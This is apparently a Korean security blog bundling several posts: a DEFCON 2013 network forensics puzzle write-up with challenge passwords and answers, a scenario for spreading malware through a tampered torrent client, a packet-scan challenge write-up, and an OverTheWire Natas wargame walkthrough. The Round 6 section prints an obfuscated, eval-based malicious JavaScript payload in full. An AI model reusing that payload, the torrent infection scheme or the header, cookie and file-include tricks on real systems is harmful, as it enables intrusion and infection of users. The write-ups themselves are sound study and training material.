ISSA 2013 Conference에서 출제 되었던 Challenge 문제입니다.


간접적으로 리눅스 침해사고를 경험 해 볼 수 있는 좋은 문제입니다.




[For.MD] ISSA 2013 New DFIR Challenge Write up.pdf


몇 해 전부터 SANS Network Forensic Puzzle Contest 문제가 Defcon의 Contest 문제로 계속 출제되고 있었다. 이번에도 작년과 마찬가지로 LMG Security에서 문제를 출제하였었는데, 작년과 마찬가지로 이번에도 온/오프라인으로 250여팀(팀 당 최대 6명)이 참가하여 10팀 정도가 올클리어를 했다고 한다.


대회 문제는 하나의 CD로 제공이 되며 CD 안에는 truecrypt 컨테이너 파일이 존재한다. 해당 컨테이너의 파일을 최초로 복호화 하기 위해서는 운영진 데스크에 문의 해야 한다. 컨테이너 파일을 복호화 하면 다음과 같은 파일들이 존재한다.


[Round 0]

Decryption Key : SYN-SYNACK-ACK=STart!@#$&@


[그림 1 - 컨테이너 내용물]


컨테이너 내용에는 첫 번째 문제와 나머지 7개 문제의 컨테이너 파일이 존재한다. 나머지 7개의 컨테이너 파일은 앞 라운드 문제 질문의 답을 정확히 찾아 운영진에게 문자로 전송하면 운영진이 다음 레벨 컨테이너에 대한 복호화 키를 전송 해 주어 복호화 할 수 있다. 


글쓴이는 직접 참가하지 않았기 때문에 지인으로부터 각 컨테이너의 복호화 키를 얻어 문제를 풀이하였다.


이제부터 각 라운드에 대한 풀이를 진행 해 보도록 하겠다.


[Round 1]

DEFCON 2013 Network Forensics Puzzle Contest: An Affair to Remember


Having accepted the Jensen case, Jack and his team install network taps and wireless capture devices in Mr. Jensen's business and home. During monitoring, Jack and his team discover an interesting suspect, Betty. This could be the woman Mrs. Jensen fears her husband is having an affair with. Jack assigns you the forensic analyst to look further into the information capture. You learn that a meeting has been setup.

Use the Round 1 packet capture in this folder to learn more about the case and answer the following question:


1. What day of the week is the meeting scheduled for?


MD5 CHECKSUM:

round1.pcap:


d0c7ee4bd7b18d6dea1f35b09b39d4c8


Remember:

You must answer the question in this round, in order to unlock the next round of the contest.


Next Round Password : MTA567=@


문제의 요점은 "What day of the week is the meeting scheduled for?" 이다. 결국 답은 요일 또는 날짜 등으로 유추 할 수 있는데, 날짜나 요일을 대화 또는 메모 등으로 발견 될 확률이 높다. 그러므로 텍스트를 중심으로 살펴보면 다음과 같이 대화 목록을 찾을 수 있다.


[그림 2 - 대화 메시지]


[그림 2]는 IRC 프로토콜을 통해 주고 받은 메시지 목록인데, 대부분의 메시지가 HTML 인코딩으로 인코딩 되어 있다. 각 대화는 TCP 스트림의 첫 번째와 두 번째이다. 각 대화를 완벽하게 디코딩하여 보면 다음과 같다.


[TCP 스트림 0]

PING :hades.de.eu.SwiftIRC.net

PONG :hades.de.eu.SwiftIRC.net

:betty!~blah@7FF07A37.29E7D414.B9027CEB.IP PRIVMSG #S3cr3tSp0t :Hi Greg :)

PRIVMSG #S3cr3tSp0t :Hi Betty

PRIVMSG #S3cr3tSp0t :what day do you want to meet up?

PING :hades.de.eu.SwiftIRC.net

PONG :hades.de.eu.SwiftIRC.net

PING :hades.de.eu.SwiftIRC.net

PONG :hades.de.eu.SwiftIRC.net

:betty!~blah@7FF07A37.29E7D414.B9027CEB.IP PRIVMSG #S3cr3tSp0t :How does Wednesday sound?

PING :hades.de.eu.SwiftIRC.net

PONG :hades.de.eu.SwiftIRC.net

PRIVMSG #S3cr3tSp0t :Great :) what time?

:betty!~blah@7FF07A37.29E7D414.B9027CEB.IP PRIVMSG #S3cr3tSp0t :ah 2pm

PING :hades.de.eu.SwiftIRC.net

PONG :hades.de.eu.SwiftIRC.net

PRIVMSG #S3cr3tSp0t :Ok, I can't wait!


[TCP 스트림 1]

PRIVMSG #S3cr3tSp0t :Hi Greg :)

:D34thM3rch4nt!~blah2@7FF07A37.29E7D414.B9027CEB.IP PRIVMSG #S3cr3tSp0t :Hi Betty

:D34thM3rch4nt!~blah2@7FF07A37.29E7D414.B9027CEB.IP PRIVMSG #S3cr3tSp0t :what day do you want to meet up?

PING :hades.de.eu.SwiftIRC.net

PONG :hades.de.eu.SwiftIRC.net

PING :hades.de.eu.SwiftIRC.net

PONG :hades.de.eu.SwiftIRC.net

PING :hades.de.eu.SwiftIRC.net

PONG :hades.de.eu.SwiftIRC.net

PRIVMSG #S3cr3tSp0t :How does Wednesday sound?

:D34thM3rch4nt!~blah2@7FF07A37.29E7D414.B9027CEB.IP PRIVMSG #S3cr3tSp0t :Great :) what time?

PRIVMSG #S3cr3tSp0t :ah 2pm

:D34thM3rch4nt!~blah2@7FF07A37.29E7D414.B9027CEB.IP PRIVMSG #S3cr3tSp0t :Ok, I can't wait!


대화 내용을 보면 수요일이 어떻냐는 질문과 좋다라는 대답이 보인다. 그러므로 둘은 수요일 날 만나는 것으로 볼 수 있다.


Answer : Wednesday


[Round 2]

DEFCON 2013 Network Forensics Puzzle Contest: Track Star


Betty attempts to keep her tracks covered as she establishes a meeting location with Gregory.

Use the Round 2 packet capture in this folder to answer the following question:


1. What city are they meeting?


MD5 CHECKSUM:

round2.pcap:


7d0273b7e867f90feb80ce31fe077c90


Remember:

You must answer the question in this round, in order to unlock the next round of the contest. 


Next Round Password : spT6745@@&%


어느 도시에서 그들이 만나는지 알아내는 것이 주 목적인 문제이다. 다시 한번 메시지를 추출 해 보면 다음과 같이 메일을 통해 어떤 파일을 보낸 것을 알 수 있다. 캡쳐는 하지 않았지만, 해당 메시지 전에는 패스워드를 요구하는 메시지가 있었고, 그 답문으로 미안하다며 패스워드를 알려주는 메시지가 존재한다.


[그림 3 - 메시지 로그]


어떤 파일이 주고 받아졌음을 알았으니 파일을 추출 해야 한다. [그림 2]에는 보이지 않지만, SEND 메시지는 1024포트로 전달 되었으며, 172.29.1.50이 전송하였다. 그러므로 해당 정보를 이용 해 다음과 같이 필터를 하면 파일을 추출 할 수 있다.


Filter : (ip.src == 172.29.1.50) and (tcp.port == 1024)


[그림 4 - 추출 한 파일 데이터]


메시지의 맨 마지막을 보면 파일의 크기가 나타나 있다. 추출한 파일의 크기와 비교 해 보면 동일한 것을 알 수 있다. 이제 이 파일을 이진 데이터로 만들고 메시지에서 다음과 같이 언급되었던 패스워드를 이용 해 복호화를 해보도록 하겠다.(암호화는 Truecrypt로 되어 있었다.)


"Here is the password for where you should meet me: S3cr3tVV34p0n"


복호화 하면 다음과 같이 두 개의 파일이 나온다.


[그림 5 - 추출 된 암호 데이터에서 복호화 된 파일들]


[그림 6 - IV.jpg]


[note.txt]

See You Soon!

Betty


Answer : LAS VEGAS


[Round 3]

DEFCON 2013 Network Forensics Puzzle Contest: On the Trail


Gregory is hesitant to meet with the mysterious Betty. While working late in the office, Gregory hears his phone ring. He checks his phone and knows he has no choice but to attend the meeting with Betty.

Use the Round 3 packet capture in this folder to answer the following question:


1.What will Gregory die from, if he fails to meet with Betty?


MD5 CHECKSUM:

round3.pcap:


cf4cd27c090c27598d43f58978fa9a1e


Remember:

You must answer the question in this round, in order to unlock the next round of the contest.


Next Round Password : MP42%!@


동봉되어 있는 패킷 캡쳐 파일을 열어보면 무수히 많은 TLS 패킷들이 보인다. 적어도 어떤 평문의 내용들이 포함되어 있는지 포기 위해 HTTP Object들을 살펴 보면 제일 처음 오브젝트에 다음과 같은 내용이 보인다.


[그림 7 - HTTP 오브젝트 목록]


컨텐츠의 타입을 보니 MMS 메세지라고 나온다. 다른 오브젝트들은 텍스트 또는 html, 이미지 등인 반면에 해당 컨텐츠만 유독 다르니 파일을 추출하여 볼 필요성이 있어 보인다. 해당 패킷의 스트림을 살펴보면 다음과 같은 시그니처가 존재한다.


[그림 8 - MMS 메시지 스트림]


mp4라는 것을 XML 엘리먼트를 통해 알 수 있고, 시그니처 또한 "ISO Base Media file (MPEG-4) v1" MP4의 시그니처를 확인 할수 있다. 이런 이유로 스트림을 추출 해서 확인하면 다음과 같은 영상을 볼 수 있다.


[그림 9 - 추출한 영상 화면]


Answer : DYSENTERY


[Round 4]

DEFCON 2013 Network Forensics Puzzle Contest: Mystery Date


Gregory, still unsure of Betty's true identity, meets with a group identifying themselves as Betty's Associates. They gave him a list of demands including numbers to bank accounts, and additional secret documents. Betty's Associates told Gregory he will be provided with information regarding the delivery of the goods.

Use the Round 4 packet capture in this folder to answer the following question:


1.What is the password provided to Gregory?


MD5 CHECKSUM:

round4.pcap:


a2466895a6b822fedc947411b1c5dc0f


Remember:

You must answer the question in this round, in order to unlock the next round of the contest.


Next Round Password : C4M1121**


패킷 파일을 보면 KML 파일을 담고 있는 메세지를 볼 수 있다.


[그림 10 - KML 파일을 담고 있는 메세지]


KML 파일을 추출하여 읽어보면 다음과 같이 지리적 위치에 그림이 그려져 있는 것을 볼 수 있다.


[그림 11 - KML View]


Answer : Brutus


[Round 5]

DEFCON 2013 Network Forensics Puzzle Contest: Lost and Found


Gregory is missing! He was supposed to meet up with Betty and deliver the goods. After that, the trail quickly goes cold. A strange shipment has arrived to the offices of Rock Solid Investigations. Jack Stone opens the package and discovers a note and a cell phone. Jack immediately sends the cell phone to you, the forensic investigator.

Use the Round 5 zip file in this folder to answer the following question:


1. What happened to Gregory?


MD5 CHECKSUM:

Huawei_U8665Fusion2.zip:


3306aa2b0082b0ee41e86167f763e885


Remember:

You must answer the question in this round, in order to unlock the next round of the contest.


Next Round Password : burt22$#@


이번에는 패킷파일 대신에 안드로이드에서 사용되는 파일시스템을 덤프한 압축파일이 주어진다. 무슨 일이 있어났는 것을 묻고 있으니, 사용자의 데이터가 저장 될 만한 곳을 먼저 분석 해 보아야 한다. 여러 사용자 데이터들을 보던 중 카메라 이미지가 저장 되어 있는 디렉토리에서 다음과 같은 사진이 발견 되었다.


[그림 12 - 카메라 디렉토리에서 발견 된 사진]


해당 파일 말고도 패킷 파일이 4개가 존재하였지만, 두 개는 다른 두개의 복사본 이었고, 패킷 캡쳐 파일들의 내용은 속임수를 위한 내용 같았다. 그러므로 답은 사진의 상황이 가장 적절하다.


Answer : Died


[Round 6]

DEFCON 2013 Network Forensics Puzzle Contest: Special Delivery


Mrs. Jensen decides to look further into this strange email. She decides to check her account balances to ensure she still has access to her accounts.

Use the Round 6 packet capture in this folder to answer the following question:


1. How many bytes of data is the malicious payload?


MD5 CHECKSUM:

round6.pcap:


d9dcb570296c11230b1b6a0018d74ef3


Remember:

You must answer the question in this round, in order to unlock the next round of the contest. 


Next Round Password : Haxxor*&%


악성코드의 페이로드 크기(byte)를 답하는 문제이다. 사실 이 문제는 굉장히 쉽게 풀린다. 패킷에 들어 있는 파일들을 모두 추출하여 백신으로 탐지하면 쉽게 풀린다.


[그림 13 - 백신 탐지 결과]


추출한 페이로드는 다음과 같다. 페이로드의 크기는 추출한 파일의 크기를 보면 알 수 있다.


[Payload]

<script>v="r21vr1b23rb";try{dsfsd++}catch(wEGWEGWEg){try{(v+v)()}catch(fsebgreber){m=Math;ev=eval;}

n="25&&26&&121&&119&&48&&57&&116&&128&&115&&134&&125&&118&&126&&133&&62&&120&&117&&133&&85&&125&&117&&126&&117&&127&&132&&132&&82&&138&&100&&114&&119&&95&&113&&126&&117&&57&&55&&115&&127&&117&&137&&56&&57&&108&&64&&110&&57&&140&&29&&26&&25&&26&&121&&119&&130&&114&&125&&118&&130&&57&&57&&76&&29&&26&&25&&142&&48&&118&&124&&132&&117&&49&&139&&30&&25&&26&&25&&117&&127&&116&&133&&126&&117&&127&&132&&63&&135&&131&&121&&133&&117&&57&&50&&77&&121&&119&&130&&114&&125&&118&&48&&132&&130&&116&&77&&56&&120&&133&&132&&129&&74&&64&&63&&116&&124&&122&&115&&124&&138&&122&&128&&63&&127&&131&&119&&64&&118&&118&&117&&117&&63&&119&&130&&114&&125&&118&&131&&63&&128&&121&&128&&80&&133&&122&&116&&78&&69&&71&&54&&119&&130&&114&&125&&118&&131&&78&&68&&56&&48&&136&&121&&117&&132&&121&&77&&56&&65&&65&&55&&49&&120&&118&&121&&120&&120&&133&&77&&56&&65&&65&&55&&49&&131&&133&&137&&125&&117&&78&&55&&135&&121&&132&&121&&115&&121&&125&&121&&133&&137&&75&&120&&122&&116&&117&&117&&127&&75&&129&&127&&132&&121&&133&&121&&128&&126&&75&&113&&115&&131&&128&&124&&134&&132&&118&&75&&125&&117&&119&&132&&75&&64&&76&&132&&128&&128&&75&&64&&76&&55&&79&&76&&64&&121&&119&&130&&114&&125&&118&&78&&51&&57&&76&&29&&26&&25&&142&&29&&26&&25&&119&&133&&127&&115&&133&&121&&128&&126&&49&&121&&119&&130&&114&&125&&118&&130&&57&&57&&140&&29&&26&&25&&26&&134&&114&&130&&49&&118&&49&&77&&49&&116&&128&&115&&134&&125&&118&&126&&133&&62&&116&&130&&118&&113&&133&&117&&86&&124&&118&&125&&118&&126&&133&&56&&56&&121&&119&&130&&114&&125&&118&&55&&58&&75&&119&&62&&132&&117&&133&&81&&133&&132&&131&&121&&115&&133&&133&&117&&57&&55&&132&&130&&116&&55&&61&&55&&121&&132&&133&&128&&75&&63&&64&&115&&125&&121&&116&&123&&139&&121&&129&&62&&128&&130&&120&&63&&119&&117&&118&&116&&64&&118&&131&&113&&126&&117&&132&&62&&129&&120&&129&&79&&134&&121&&117&&77&&70&&70&&55&&118&&131&&113&&126&&117&&132&&77&&69&&55&&58&&75&&119&&62&&132&&132&&138&&124&&118&&62&&135&&121&&132&&121&&115&&121&&125&&121&&133&&137&&78&&55&&121&&121&&117&&116&&118&&126&&56&&75&&119&&62&&132&&132&&138&&124&&118&&62&&129&&127&&132&&121&&133&&121&&128&&126&&78&&55&&114&&114&&132&&127&&125&&133&&133&&117&&56&&75&&119&&62&&132&&132&&138&&124&&118&&62&&125&&117&&119&&132&&78&&55&&65&&55&&76&&118&&63&&131&&133&&137&&125&&117&&63&&132&&128&&128&&78&&55&&65&&55&&76&&118&&63&&131&&118&&132&&82&&132&&133&&130&&122&&114&&134&&132&&118&&56&&56&&135&&122&&116&&133&&120&&56&&60&&56&&65&&65&&55&&58&&75&&119&&62&&132&&117&&133&&81&&133&&132&&131&&121&&115&&133&&133&&117&&57&&55&&121&&117&&122&&119&&121&&132&&56&&60&&56&&65&&65&&55&&58&&75&&30&&25&&26&&25&&117&&127&&116&&133&&126&&117&&127&&132&&63&&119&&118&&132&&86&&124&&118&&125&&118&&126&&133&&131&&83&&137&&101&&113&&120&&94&&114&&125&&118&&56&&56&&114&&128&&116&&138&&55&&58&&107&&65&&109&&63&&113&&129&&128&&118&&126&&117&&83&&121&&121&&125&&116&&57&&118&&58&&75&&30&&25&&26&&141".split("&&");h=2;s="";if(m)for(i=0;i-611!=0;i=1+i){k=i;if(window.document)s+=String.fromCharCode(n[i]-(020+i%h));}try{fsfewbfew--}catch(dgdsh){ev(s);}}</script>


Answer : 3113


[Round 7]

DEFCON 2013 Network Forensics Puzzle Contest: Phone Home


Mrs. Jensen decides to look further into this strange email. She decides to check her account balances to ensure she still has access to her accounts.

Use the Round 7 packet capture in this folder to answer the following question:


1. What is the URL of the false(Malicious) web page Victoria is directed to?


MD5 CHECKSUM:

round7.pcap:


398790ffd658fc56b4c8ccda5bba9aff


Remember:

You must answer the question in this round, in order to unlock the next round of the contest. 


Next Round Password : FIN-ACK@@##$


빅토리아가 접속한 악성 URL을 찾는 문제이다. 패킷 캡쳐 파일을 열어 살펴보면 bankofamerica.com 주소가 눈에 띈다.

그렇다면 이와 유사한 도메인이 분명 존재할 것이다.

HTTP 오브젝트들을 살펴보면 다른 도메인들과 다르게 암호화 하지 않고 통신하며, 도메인이 com이 아닌 net으로 끝나는 딱 한번 접속한 bankofamerica.com와 유사한 도메인이 존재한다.


[그림 14 - HTTP 오브젝트 목록]


해당 도메인에 접속 할 때에는 무수히 많은 파라메터들에 데이터가 담겨 전송되는데 해당 파라메터들을 정리해보면 다음과 같다.


[Parameter]

mboxHost=infocenter.bankofamerica.com

&mboxSession=1373056092923-406506

&mboxPC=1373056092923-406506.19_30

&mboxPage=1373056898233-47366

&screenHeight=1024

&screenWidth=1280

&browserWidth=1280

&browserHeight=861

&browserTimeOffset=-360

&colorDepth=24

&mboxXDomain=enabled

&mboxCount=1

&mbox=bac_global_bottom

&mboxId=0

&mboxTime=1373035298047

&mboxURL=http://infocenter.bankofamerica.com/smallbusiness/ic2/online-banking/view-balances-account-activity/

&mboxReferrer=http://www.google.com/url?sa=t&rct=j&q=why is my bank of america account not working?&source=web

&cd=2

&ved=0CD4QFjAB

&url=http://infocenter.bankofamerica.com/smallbusiness/ic2/online-banking/view-balances-account-activity/

&ei=dS_XUdu5Gei7igLL7YHQDw&usg=AFQjCNEh7nqNYvobnOUp-5_YMQJn7YTKEQ&bvm=bv.48705608,d.cGE

&mboxVersion=41


전달되는 정보를 보면 사용자의 스크린 크기부터, 시간 값, 접속한 횟수, 리퍼러 정보 등이 있다. 리퍼러 정보를 보면 사용자가 서비스를 이용하던 도중 구글에서 해당 서비스가 왜 동작하지 않는 것인지에 대해 의문을 품고 검색을 한 흔적도 보인다. 이를 통해 해당 도메인이 악성 도메인이라고 확신 할 수 있다.


Answer : http://bankofamerica.tt.omtrdc.net/


[Round 8]

DEFCON 2013 Network Forensics Puzzle Contest: Hit the Road Jack


As Jack is wrapping up the case, he learns that the mystery is far from over.

Use the Round 8 packet capture in this folder to learn more about the mystery and to answer the following question:


1. Who killed Gregory?


MD5 CHECKSUM:

round8.pcap:


09b8b3d7f2349202ce324b56e234caba8


Remember:

You must answer the question in this round to complete the contest.


패킷 파일을 열어보면 무수히 많은 SIP 프로토콜 패킷들이 보인다. 재생을 위해 해당 패킷들을 VoIP Call 형태로 보면 다음과 같이 두 개의 VoIP Call이 보인다.


[그림 15 - VoIP Call]


재생하여 들어보면 누가 그레고리를 죽였는지 알 수 있다.


Answer : Victoria





  1. BlogIcon simpac 2013.09.26 10:25

    역시 대단하십니다!

오늘 토렌트에 관해 이것저것 생각하며 프로그램을 살펴보다가 문득 생각이다. 우리나라(특히 네이버) 검색엔진에서는 토렌트를 검색하면 토렌트 정식사이트가 검색 되지 않아 의외로 많은 사람들이 다른 유저의 블로그 글에서 토렌트 설치 파일 또는 포터블 프로그램을 다운받아 사용하곤 한다. 하지만 이는 조금 주의해야 할 필요가 있어 보인다.


토렌트 프로그램의 설정을 보면 다음과 같은 옵션이 존재한다.


[그림 1 - 시드파일 자동 추가 옵션]


이 옵션은 토렌트 프로그램이 실행되면 해당 옵션이 설정되어 있는 디렉토리에서 토렌트 시드파일을 찾아 자동으로 다운로드를 시도하게 된다.


또 이런 옵션도 존재한다.


[그림 2 - 프로그램 자동 실행 옵션]


위 옵션은 토렌트 다운로드가 끝나거나 토렌트의 상태가 바뀌면 프로그램을 실행 할 수 있도록 설정하는 옵션이다. 이와 같은 정보로 다음과 같은 시나리오를 생각 할 수 있지 않을까?


1. 미리 옵션 파일을 이용 해 OS 기본 폴더로 다운로드 폴더를 지정하여 둔다.


2. 토렌트 프로그램이 시작되면 자동 다운로드 되도록 악성코드 다운로드 시드파일을 설치 파일 또는 포터블 파일에 동봉하여 배포한다.


3. 설정으로 인해 사용자는 토렌트 프로그램을 실행하는 순간, 악성코드 시드파일이 추가되며 악성코드 다운로드가 진행 된다.

 - 여기서는 약간의 사회공학기법이 필요


4. 다운로드 된 악성코드는 [그림 2] 옵션으로 인해 실행 된다.

 - 여기서 악성코드는 토렌트 프로그램을 강제 종료 해버리면 더 좋을 것 같다.


5. 사용자는 토렌트 프로그램을 한번 실행 시켰을 뿐인데 좀비 PC가 된다.


충분히 가능한 시나리오라고 본다. 아직 사례가 있는지는 모르겠지만, 요즘 악성코드 배포하는 추세로 봐서는 이런 방법이라면 쉽게 수많은 좀비 PC를 만들 수 있다고 생각한다.


그러므로 우리는 토렌트 공식 사이트에서 정품 토렌트를 다운받아 사용해야 한다.


공식 토렌트 사이트 : http://www.utorrent.com/intl/ko/





'[+] Hacking > [-] ETC' 카테고리의 다른 글

[생각] 되도록이면 토렌트 프로그램은 정품을 쓰자.  (0) 2013.09.12
exploit-exercises Wargame  (0) 2012.07.25
HackJam!!!!!  (3) 2009.09.08
해커사전.  (0) 2009.08.24
어쩌다가 맵더소울 홈피가...  (1) 2009.07.23

여러 공부와 연구를 하던 중 머리를 식힐 겸 이것저것 구글링을 하던 중 발견한 Challenge 문제이다. Wireshark를 개발한 회사에서 낸 문제인데, 총 7개의 패킷이 주어져 있고 각 패킷에 해당하는 질문에 패킷을 분석하여 답을 하는 형식이다. SANS에서 주관하는 Network Forensics Puzzle Contest와 거의 유사하다고 보면 된다. 문제는 쉬운 관계로 많은 부가 설명 없이 답에 관한 이야기만 하도록 하겠다.


1. What is the IP address of the scanning host?

스캐닝을 시도한 호스트의 IP 주소를 찾으라는 질문이다. 패킷 캡쳐 파일을 열어보면 무수히 많은 SYN 패킷과 RST/ACK 패킷을 볼 수 있는데, 간혹 SYN/ACK, 패킷과 ACK 패킷도 볼 수 있다. SYN 패킷을 보낸 호스트는 당연히 스캐닝을 시도 한 호스트이겠고, RST/ACK 패킷 또는 SYN/ACK 패킷을 보낸 호스트는 스캐닝을 당한 호스트 일 것이다. 그러므로 이를 이유로 패킷들을 살펴보면 '192.168.1.141' 호스트가 스캐닝을 시도한 것으로 판단 할 수 있다.


[그림 1 - 스캐닝 패킷]


2. What is the IP address of the target host?

[그림 1]에서 '192.168.1.141' 호스트의 SYN 패킷에 응답한 호스트가 스캐닝을 당한 타겟 호스트이므로 [그림 1]에 따라 '192.168.1.123' 호스트가 타겟 호스트가 된다.


 * 참고 : 패킷의 흐름을 봤을 때 스캐닝 기법은 가장 기초적인 TCP Connect Scan이다.(TCP 3way-handshaking 으로 포트 오픈을 확인 하기 때문)


3. Which TCP Port is open on the target?

타겟 호스트에서 열린 포트가 무엇인지 답하는 문제이다. 타겟 호스트에서 SYN/ACK 패킷을 보낸 포트만 필터하여 보면 금방 확인 할 수 있다. 필터해서 확인 한 결과, 68번 포트만이 현재 열려 있는 걸 확인 할 수 있다.

filter : tcp.flags == 0x0012


[그림 2 - 필터 결과]


4. Which ICMP packets contain non-standard Type/code numbers?

ICMP 패킷들 중에 표준 값아닌 Type/code 번호를 찾아 답하는 문제이다. icmp 패킷만 필터해서 조금만 살펴보면 다음과 같은 값을 가진 icmp 패킷을 볼 수 있다.


[그림 3 - Type/code]


[그림 3] 이외에도 Type 값이 0이고 code 값이 123인 패킷이 존재한다. 둘 다 모두 Type 값은 정상이지만 code 값은 icmp 프로토콜에서 정의하고 있지 않은 값이다. 그러므로 답은 8/123, 0/123으로 답 할 수 있다.


5. What software is used to scan the target?

포트 스캔 도구들 중 Xprobe라는 도구가 있다. 해당 도구는 4번에서 본 것처럼 특징적으로 code 값을 123으로 정해보낸다. 또 해당패킷 캡쳐 파일에서는 다음과 같은 패킷을 볼 수 있다.


[그림 4 - Xprobe 도구의 ICMP 패킷 전송 순서]


특징적으로 Xprobe 도구는 [그림 4]와 같은 순서로 패킷을 주고 받는다. 이는 발표자료에서 확인 할 수 있다.


[그림 5 - Xprobe 발표자료 일부]


그러므로 답은 Xprobe로 답 할 수 있다.







오랜만에 워게임을 풀어볼까하여 여러 사이트를 돌아니던 중에 시스템 해킹 워게임만 있을 줄 알았던 OverTheWire 사이트에 웹 해킹 워게임이 있어 한번 풀어보았다. 난이도는 어렵지 않아 하/중 정도 되는 것으로 생각이 된다. 웹 해킹 초급자들이 풀어보면 웹 해킹의 감을 잡는데 좋을 것으로 생각이 된다. 문제의 접속은 다음과 같이 하면 된다.


 - http://natasX.natas.labs.overthewire.org

X : Level Number

계정은 NatasX, 비밀번호는 문제를 풀면 다음 레벨 계정의 패스워드가 주어지므로 해당 패스워드로 접속하면 된다.


 - p.s : 모든 패스워드는 /etc/natas_webpass/natasX 에 존재한다.


[Natas0]

Username: natas0

Password: natas0

URL: http://natas0.natas.labs.overthewire.org


 아주 기초적인 문제이다. 접속하면 다음과 같은 화면을 만나게 된다.



해당 페이지에서 다음 레벨 계정의 패스워드를 찾을 수 있다는 말인데, 소스보기를 하면 주석으로 적혀 있는 패스워드를 발견 할 수 있다.




[Natas0 -> Natas1]

Username: natas1

URL: http://natas1.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



해당 레벨도 마찬가지로 소스보기를 통해 패스워드를 획득하면 된다. 하지만 설명에도 나왔듯이 오른쪽 클릭이 막혀있다. 오른쪽 클릭이 막혀있다 하여도 소스보기를 못하는 것은 아니다. 대부분의 마우스 클릭 방지는 클릭의 이벤트 코드를 통해 방어해 두었기 때문에 이벤트만 발생시키지 않으면 쉽게 무력화 시킬 수 있다. 대표적으로 브라우저 메뉴에서 소스코드 보기 버튼을 클릭하는 방법이 있다.





[Natas1 -> natas2]

Username: natas3

URL: http://natas3.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



위 지문이 무슨 말일까? 해당 페이지에는 아무것도 없다 라는 말이... 위 말대로라면 해당 페이지에서는 패스워드를 찾을 수 없으므로 다른 페이지를 찾아봐야 한다. 먼저 소스를 통해 다른 페이지로 갈만한 경로가 존재하는지 살펴보자.



페이지에는 표시가 되지 않았지만 이미지가 하나 링크되어 있다. 해당 이미지는 다운받아 보면 1x1 이미지로 조작된것이라 볼 수 있는 이미지이다. 하지만 패스워드와는 아무런 관련이 없어 보이고 해당 페이지가 존재했던 files/라는 디렉토리로 한번 접근을 시도해보면 다음과 같이 패스워드 파일이 존재하는 것을 볼 수 있다.


디렉토리 리스팅에 관해 문제를 제작한 것으로 보인다.


[Natas2 -> natas3]

Username: natas3

URL: http://natas3.natas.labs.overthewire.org


접속하면 Level 3과 같은 화면을 볼 수 있고 소스코드를 보면 다음과 같은 문장을 볼 수 있다.


<!-- No more information leaks!! Not even Google will find it this time... -->


구글이 앞으로 여기를 찾을 수 없다고 한다. 결국 구글봇이 해당 페이지를 크롤링하지 못한다는 말이 되는데, 구글봇이 크롤링을 하지 못하는 까닭으로 대표적인 것은 robots.txt 파일이 있다. 한번 살펴보자.


접근하지 못하게 설정되어 있는 디렉토리가 하나 보인다. 


디렉토리에는 user.txt 파일이 하나 존재하고 해당 파일에는 계정정보가 존재한다.


[Natas3 -> Natas4]

Username: natas4

URL: http://natas4.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



natas4.shtml 파일에 접근이 금지 되었다고 한다. 접근 할 수 있는 방법은 natas5 계정의 문제 도메인을 통해서만 접근이 가능하다고 한다. 하지만 우리는 natas5의 패스워드를 모르기 때문에 해당 페이지에 접속한 것으로 위 말은 말이 되지 않는다. 그렇다면 간단하게 패킷을 조작 해 마치 우리가 natas5의 도메인에서 접속 한 것처럼 위장하여 해당 레벨을 클리어 하자.



http 헤더를 보면 referer 필드가 존재한다. 해당 필드는 접속 페이지 이전에 어디서 접속하였는지 표시해주는 필드이다. 그러므로 해당 필드를 natas5의 문제 도메인으로 조작 해 접속을 마치 natas5 문제 도메인에서 해당 페이지로 한 것 처럼 조작하면 페이지는 정상적으로 열리게 될 것이다.




[natas4 -> natas5]

Username: natas5

URL: http://natas5.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



접근이 해제되었고 내가 로그인이 되지 않았다고 한다. 로그인을 해서 들어왔는데 로그인이 되지 않았다면 우리는 두 가지를 경우를 생각할 수 있다. 하나는 쿠키의 로그인을 판별하는 어떤 변수의 값이 잘못 설정되었거나 또는 로그인 세션이 해제된 경우이다.

먼저 쿠키 값을 살펴보자.


 

loggedin 라는 쿠키변수의 값이 0이다. 쿠키변수의 이름으로 보아 로그인과 관련되어 있는 듯 하니 1로 변경하고 다시 한번 페이지를 불러와보면 다음과 같이 패스워드를 획득 할 수 있다.




[natas5 -> natas6]

Username: natas6

URL: http://natas6.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



뭔가 입력하는 폼이 하나 존재하고 소스코드가 링크되어 있는 문자열이 존재한다. 일단 소스코드부터 살펴보자.



간단한 PHP 소스코드가 존재한다. $secret 변수에 들어 있는 값이 우리가 전송하는 $_POST['secret'] 값과 일치 할 때 natas7 계정의 패스워드를 출력 해 주는 아주 간단한 소스코드이다. 그럼 $secret 변수는 어디에 존재할까? 소스코드 맨 첫줄에 있는 include 함수에서 불러오는 파일을 한번 살펴보자.



secret.inc 파일을 보니 $secret 변수가 선언되어 있고 해당 변수에 어떤 값이 저장되어 있다. 우리가 해당 값을 입력하면 이번 문제를 클리어하게 된다.




[natas6 -> natas7]

Username: natas7

URL: http://natas7.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



링크를 클릭하고 소스보기를 해보면 알겠지만, 두 페이지는 page라는 변수로 구분되어 진다. 그리고 다음과 같은 힌트가 존재한다.


<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->


page라는 변수가 수상하므로 비정상적인 값을 넣어보면 다음과 같이 오류메시지가 출력 된다.


Warning: include(1): failed to open stream: No such file or directory in /var/www/natas/natas7/index.php on line 13 Warning: include(): Failed opening '1' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/natas/natas7/index.php on line 13



include 함수를 사용하는 것을 볼 수 있다. 그럼 힌트에 나온 패스워드 파일도 page 변수로 넘겨주면 include 함수에 의해 그 내용이 현재 페이지에 뿌려지게 될 것이다.




[natas7 -> natas8]

Username: natas8

URL: http://natas8.natas.labs.overthewire.org


접속하면 natas6 계정 문제에서 봤던 화면과 동일한 화면을 볼 수 있다. 물론 소스코드 보기도 존재한다. 그러므로 소스코드를 보면 다음과 같이 간단한 PHP 소스코드가 눈에 보인다.



